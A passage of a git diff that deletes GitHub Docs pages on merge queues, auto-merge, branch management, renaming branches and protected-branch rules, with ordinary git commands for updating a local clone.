| - | Wait time | You can specify a timeout for reaching the minimum group size, which allows smaller groups to merge if there are no more PRs queued within your specified time limit. | - -## How merge queues work - -As pull requests are added to the merge queue, the merge queue ensures that they are merged in a first-in-first-out order where the required checks are always satisfied. - -A merge queue creates temporary branches with a special prefix to validate pull request changes. When a pull request is added to the merge queue, the changes in the pull request are grouped into a `merge_group` with the latest version of the `base_branch` as well as changes from pull requests ahead of it in the queue. {% data variables.product.github %} will merge all these changes into the `base_branch` once the checks required by the branch protections of `base_branch` pass. - -For information about merge methods, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - -### Successful CI - -When multiple pull requests are added to the merge queue and when the temporary `merge_group` branches have successful CI results, they are both merged. In the following scenario, two pull requests are successfully added to the queue and merged to the target branch. - -1. User adds pull request #1 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-1` that contains code changes from the target branch and pull request #1. A `merge_group` webhook event of type `checks_requested` is dispatched and the merge queue will await a response from your CI provider. -1. User adds pull request #2 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-2` that contains code changes from the target branch, pull request #1, and pull request #2, and dispatches webhooks. -1. When the {% data variables.product.github %} API receives successful CI responses for `merge_group` branches `main/pr-1` and `main/pr-2`, the temporary branch `main/pr-2` will be merged in to the target branch. The target branch now contains both changes from pull request #1 and #2. - -### Failing CI - -{% data reusables.pull_requests.merge-queue-reject %} - -The following scenario outlines what happens when a CI reports a failing status about one pull request. - -1. User adds pull request #1 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-1` that contains code changes from the target branch and pull request #1. A `merge_group` webhook event of type `checks_requested` is dispatched and the merge queue will await a response from your CI provider. -1. User adds pull request #2 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-2` that contains code changes from the target branch, pull request #1, and pull request #2, and dispatches webhooks. -1. When the {% data variables.product.github %} API receives a failing status for `main/pr-1`, the merge queue automatically removes pull request #1 from the merge queue. -1. The merge queue recreates the temporary branch with the prefix of `main/pr-2` to only contain changes from the target branch and pull request #2. -1. When the {% data variables.product.github %} API receives successful CI responses for `merge_group` branch `main/pr-2`, the temporary branch `main/pr-2` will be merged in to the target branch without pull request #1 included. - -{% data reusables.pull_requests.merge-queue-removal-reasons %} - -### Jumping to the top of the queue - -When adding a pull request to a merge queue, there is an option to move your pull request to the top of the queue. - -> [!NOTE] -> Be aware that jumping to the top of a merge queue will cause a full rebuild of all in-progress pull requests, as the reordering of the queue introduces a break in the commit graph. Heavily utilizing this feature can slow down the velocity of merges for your target branch. - -The following scenario outlines what happens when a user jumps the queue. - -1. User adds pull request #1 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-1` that contains code changes from the target branch and pull request #1. A `merge_group` webhook event of type `checks_requested` is dispatched and the merge queue will await a response from your CI provider. -1. User adds pull request #2 to the merge queue. -1. The merge queue creates a temporary branch with the prefix of `main/pr-2` that contains code changes from the target branch, pull request #1, and pull request #2, and dispatches webhooks. -1. User adds pull request #3 to the merge queue with the jump option which introduces a break in the commit graph. -1. The merge queue creates a temporary branch with the prefix of `main/pr-3` that contains code changes from the target branch and pull request #3, and dispatches webhooks. -1. The merge queue recreates the temporary branches with the prefix of `main/pr-1` and `main/pr-2` that contain the changes from pull request #3, and dispatches webhooks. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md deleted file mode 100644 index c1ea81d75a38..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Managing auto-merge for pull requests in your repository -intro: You can allow or disallow auto-merge for pull requests in your repository. -product: '{% data reusables.gated-features.auto-merge %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: People with maintainer permissions can manage auto-merge for pull requests in a repository. -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository - - /github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository -shortTitle: Manage auto merge ---- -## About auto-merge - -If you allow auto-merge for pull requests in your repository, people with write permissions can configure individual pull requests in the repository to merge automatically when all merge requirements are met. If someone who does not have write permissions pushes changes to a pull request that has auto-merge enabled, auto-merge will be disabled for that pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request). - -## Managing auto-merge - -{% data reusables.pull_requests.auto-merge-requires-branch-protection %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the left side of the page in the navigation bar, click **General** -1. Toward the bottom of the page under "Pull Requests", select or deselect **Allow auto-merge**. - -![Screenshot of a repository settings showing the auto merge.](/assets/images/help/repository/repo-action-auto-merge.png) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md deleted file mode 100644 index 07918c427173..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Managing suggestions to update pull request branches -intro: You can give users the ability to always update a pull request branch when it is not up to date with the base branch. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Manage branch updates -permissions: People with maintainer permissions can enable or disable the setting to suggest updating pull request branches. ---- - -## About suggestions to update a pull request branch - -If you enable the setting to always suggest updating pull request branches in your repository, people with write permissions will always have the ability, on the pull request page, to update a pull request's head branch when it's not up to date with the base branch. When not enabled, the ability to update is only available when the base branch requires branches to be up to date before merging and the branch is not up to date. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch). - -## Managing suggestions to update a pull request branch - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Pull Requests", select or deselect **Always suggest updating pull request branches**. diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md b/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md deleted file mode 100644 index 462b9407a5a9..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing the automatic deletion of branches -intro: You can have head branches automatically deleted after pull requests are merged in your repository. -redirect_from: - - /articles/managing-the-automatic-deletion-of-branches - - /github/administering-a-repository/managing-the-automatic-deletion-of-branches - - /github/administering-a-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Automatic branch deletion ---- -Anyone with admin permissions to a repository can enable or disable the automatic deletion of branches. Branch protection rules and repository rules can also prevent branches being automatically deleted. For more information, see{% ifversion fpt or ghec %} [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) and{% endif %} [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. On the "General" settings page, you can find a section called "Pull Requests". Under "Pull Requests", select or deselect **Automatically delete head branches**. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/index.md b/content/repositories/configuring-branches-and-merges-in-your-repository/index.md deleted file mode 100644 index ba38d399559b..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Configuring branches and merges in your repository -intro: 'You can manage branches in your repository, configure the way branches are merged in your repository, and protect important branches by defining the mergeability of pull requests.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /managing-branches-in-your-repository - - /configuring-pull-request-merges - - /managing-protected-branches - - /managing-rulesets -shortTitle: Branches and merges ---- diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md deleted file mode 100644 index c0a49763a289..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Changing the default branch -intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.' -permissions: People with admin access for a repository can change the default branch for the repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /github/administering-a-repository/setting-the-default-branch - - /articles/setting-the-default-branch - - /github/administering-a-repository/changing-the-default-branch - - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch -topics: - - Repositories -shortTitle: Change the default branch ---- -## About changing the default branch - -You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% ifversion ghes < 3.13 %} - -> [!NOTE] -> If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see [AUTOTITLE](/get-started/working-with-subversion-on-github/support-for-subversion-clients) and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation. - -{% endif %} - -You can also rename the default branch. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch). - -{% data reusables.branches.set-default-branch %} - -## Prerequisites - -To change the default branch, your repository must have more than one branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch). - -{% ifversion not fpt %} - -Rulesets at the organization{% ifversion ghec %} or enterprise{% endif %} level that apply to branches of a repository will not allow the repository administrator to rename branches of the targeted repository or change the default branch to another branch. See [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization){% ifversion ghec %} or [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance){% endif %}. - -{% endif %} - -Additionally, you need to have admin access to a repository to change the default branch. - -## Changing the default branch - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="Switch to another branch" %}. -1. Select the branch dropdown menu and click a branch name. -1. Click **Update**. -1. Read the warning, then click **I understand, update the default branch.** diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md deleted file mode 100644 index fa6669892178..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Deleting and restoring branches in a pull request -intro: 'If you have write access in a repository, you can delete branches that are associated with closed or merged pull requests. You cannot delete branches that are associated with open pull requests.' -redirect_from: - - /articles/tidying-up-pull-requests - - /articles/restoring-branches-in-a-pull-request - - /articles/deleting-unused-branches - - /articles/deleting-and-restoring-branches-in-a-pull-request - - /github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request - - /github/administering-a-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Delete & restore branches ---- -## Deleting a branch used for a pull request - -You can delete a branch that is associated with a pull request if the pull request has been merged or closed and there are no other open pull requests referencing the branch. For information on closing branches that are not associated with pull requests, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.list-closed-pull-requests %} -1. In the list of pull requests, click the pull request that's associated with the branch that you want to delete. -1. Near the bottom of the pull request, click **Delete branch**. - - This button isn't displayed if there's currently an open pull request for this branch. - -## Restoring a deleted branch - -You can restore the head branch of a closed pull request. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.list-closed-pull-requests %} -1. In the list of pull requests, click the pull request that's associated with the branch that you want to restore. -1. Near the bottom of the pull request, click **Restore branch**. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches) diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md deleted file mode 100644 index 2db9292613d7..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing branches in your repository -intro: 'Whenever you propose a change in Git, you [create a new branch](/articles/creating-and-deleting-branches-within-your-repository/). Branch management is an important part of the Git workflow. After some time, your list of branches may grow, so it''s a good idea to delete merged or stale branches.' -redirect_from: - - /articles/managing-branches-in-your-repository - - /github/administering-a-repository/managing-branches-in-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /viewing-branches-in-your-repository - - /renaming-a-branch - - /changing-the-default-branch - - /deleting-and-restoring-branches-in-a-pull-request -shortTitle: Manage branches ---- - diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md deleted file mode 100644 index b5d87b7f5802..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Renaming a branch -intro: You can change the name of a branch in a repository. -permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch) or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). People with admin permissions can rename the default branch and protected branches.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/renaming-a-branch - - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch ---- -## About renaming branches - -You can rename a branch in a repository on {% data variables.location.product_location %}. For more information about branches, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches). - -When you rename a branch, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. If the renamed branch is the head branch of an open pull request, this pull request is closed. - -If a repository's default branch is renamed, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments. - -Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name. - -{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is {% data variables.release-phases.closing_down %} and suggesting that users migrate to the new branch name. - -Organizational rulesets that apply to branches of a repository will no longer allow the repository administrator to rename branches of the targeted repository or change the default branch to another branch. Repository administrators may create and delete branches so long as they have the appropriate permissions. - -## Renaming a branch - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Next to the branch you want to rename, select the {% octicon "kebab-horizontal" aria-label="More" %} dropdown menu, then click **{% octicon "pencil" aria-hidden="true" %} Rename branch**. -1. Type a new name for the branch. -1. Review the information about local environments, then click **Rename branch**. - -## Updating a local clone after a branch name changes - -After you rename a branch in a repository on {% data variables.product.github %}, any collaborator with a local clone of the repository will need to update the clone. - -From the local clone of the repository on a computer, run the following commands to update the name of the default branch. - -```shell -git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME -git fetch origin -git branch -u origin/NEW-BRANCH-NAME NEW-BRANCH-NAME -git remote set-head origin -a -``` - -Optionally, run the following command to remove tracking references to the old branch name. - -```shell -git remote prune origin -``` diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md deleted file mode 100644 index c7bb78687d46..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Viewing branches in your repository -intro: 'Branches are central to collaboration on {% data variables.product.github %}, and the best way to view them is the branches page.' -redirect_from: - - /articles/viewing-branches-in-your-repository - - /github/administering-a-repository/viewing-branches-in-your-repository - - /github/administering-a-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View branches ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Use the navigation at the top of the page to view specific lists of branches: - * **Your branches:** In repositories that you have push access to, the **Yours** view shows all branches that you’ve pushed to, excluding the default branch, with the most recent branches first. - * **Active branches:** The **Active** view shows all branches (excluding the default branch) that anyone has committed to within the last three months, ordered by the branches with the most recent commits first. - * **Stale branches:** The **Stale** view shows all branches that no one has committed to in the last three months, ordered by the branches with the oldest commits first. Use this list to determine [which branches to delete](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). - * **All branches:** The **All** view shows the default branch, followed by all other branches ordered by the branches with the most recent commits first. - -1. Optionally, use the search field on the top right. It provides a simple, case-insensitive, sub-string search on the branch name. It does not support any additional query syntax. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request) -* [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/using-the-activity-view-to-see-changes-to-a-repository). diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches.md deleted file mode 100644 index 5e42c92b53d2..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches.md +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: About protected branches -intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.' -product: '{% data reusables.gated-features.protected-branches %}' -redirect_from: - - /articles/about-protected-branches - - /enterprise/admin/developer-workflow/about-protected-branches-and-required-status-checks - - /articles/about-branch-restrictions - - /github/administering-a-repository/about-branch-restrictions - - /articles/about-required-status-checks - - /github/administering-a-repository/about-required-status-checks - - /articles/types-of-required-status-checks - - /github/administering-a-repository/types-of-required-status-checks - - /articles/about-required-commit-signing - - /github/administering-a-repository/about-required-commit-signing - - /articles/about-required-reviews-for-pull-requests - - /github/administering-a-repository/about-required-reviews-for-pull-requests - - /github/administering-a-repository/about-protected-branches - - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches - - /repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About branch protection rules - -You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule. Actors may only be added to bypass lists when the repository belongs to an organization. - -By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings. - -By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository or custom roles with the "bypass branch protections" permission. You can optionally apply the restrictions to administrators and roles with the "bypass branch protections" permission, too. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). - -{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule). - -{% data reusables.pull_requests.you-can-auto-merge %} - -> [!NOTE] -> Only a single branch protection rule can apply at a time, which means it can be difficult to know which rule will apply when multiple versions of a rule target the same branch. {% ifversion repo-rules-enterprise %}Additionally, you may want to create a single set of rules that applies to multiple repositories in an organization. {% endif %}For information about an alternative to branch protection rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## About branch protection settings - -For each branch protection rule, you can choose to enable or disable the following settings. -* [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) -* [Require status checks before merging](#require-status-checks-before-merging) -* [Require conversation resolution before merging](#require-conversation-resolution-before-merging) -* [Require signed commits](#require-signed-commits) -* [Require linear history](#require-linear-history) -* [Require merge queue](#require-merge-queue) -* [Require deployments to succeed before merging](#require-deployments-to-succeed-before-merging) -* [Lock branch](#lock-branch) -* [Do not allow bypassing the above settings](#do-not-allow-bypassing-the-above-settings) -* [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches) -* [Allow force pushes](#allow-force-pushes) -* [Allow deletions](#allow-deletions) - -For more information on how to set up branch protection, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule). - -### Require pull request reviews before merging - -{% data reusables.pull_requests.required-reviews-for-prs-summary %} - -If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions. - -If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review. - -{% data reusables.repositories.review-policy-overlapping-commits %} - -If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message. - -```shell -remote: error: GH006: Protected branch update failed for refs/heads/main. -remote: error: Changes have been requested. -``` - -Optionally, you can choose to dismiss stale pull request approvals when commits are pushed that affect the diff in the pull request. {% data variables.product.company_short %} records the state of the diff at the point when a pull request is approved. This state represents the set of changes that the reviewer approved. If the diff changes from this state (for example, because a contributor pushes new changes to the pull request branch or clicks **Update branch**, or because a related pull request is merged into the target branch), the approving review is dismissed as stale, and the pull request cannot be merged until someone approves the work again. For information about the base branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). - -Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch. - -Optionally, you can require that the most recent reviewable push must be approved by someone other than the person who pushed it. This means at least one other authorized reviewer has approved any changes. For example, the "last reviewer" can check that the latest set of changes incorporates feedback from other reviews, and does not add new, unreviewed content. - -For complex pull requests that require many reviews, requiring an approval from someone other than the last person to push can be a compromise that avoids the need to dismiss all stale reviews: with this option, "stale" reviews are not dismissed, and the pull request remains approved as long as someone other than the person who made the most recent changes approves it. Users who have already reviewed a pull request can reapprove after the most recent push to meet this requirement. If you are concerned about pull requests being "hijacked" (where unapproved content is added to approved pull requests), it is safer to dismiss stale reviews. - -{% data reusables.pull_requests.security-changes-mergeability %} - -### Require status checks before merging - -Required status checks must have a `successful`, `skipped`, or `neutral` status before collaborators can make changes to a protected branch. Required status checks can be checks or commit statuses. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). - -You can use the commit status API to allow external services to mark commits with an appropriate status. For more information, see [AUTOTITLE](/rest/commits/statuses). - -After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch. - -Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box. - -You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging. - -| Type of required status check | Setting | Merge requirements | Considerations | -| --- | --- | --- | --- | -| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators update the target branch.| -| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. | -| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes. - -For troubleshooting information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/troubleshooting-required-status-checks). - -### Require conversation resolution before merging - -Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. - -### Require signed commits - -When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -> [!NOTE] -{% ifversion fpt or ghec %} -> * If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see [AUTOTITLE](/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits). -> * If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. -{% else %} -> If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. -{% endif %} - -You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request. However, you cannot squash and merge a pull request into the branch on {% data variables.product.github %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.github %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally). - -{% ifversion fpt or ghec %} For more information about merge methods, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github).{% endif %} - -### Require linear history - -Enforcing a linear commit history prevents collaborators from pushing merge commits to the branch. This means that any pull requests merged into the protected branch must use a squash merge or a rebase merge. A strictly linear commit history can help teams revert changes more easily. For more information about merge methods, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). - -Before you can require a linear commit history, your repository must allow squash merging or rebase merging. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges). - -### Require merge queue - -{% data reusables.pull_requests.merge-queue-overview %} - -{% data reusables.pull_requests.merge-queue-merging-method %} -{% data reusables.pull_requests.merge-queue-references %} - -### Require deployments to succeed before merging - -You can require that changes are successfully deployed to specific environments before a branch can be merged. For example, you can use this rule to ensure that changes are successfully deployed to a staging environment before the changes merge to your default branch. - -### Lock branch - -Locking a branch will make the branch read-only and ensures that no commits can be made to the branch. Locked branches can also not be deleted. - -By default, a forked repository does not support syncing from its upstream repository. You can 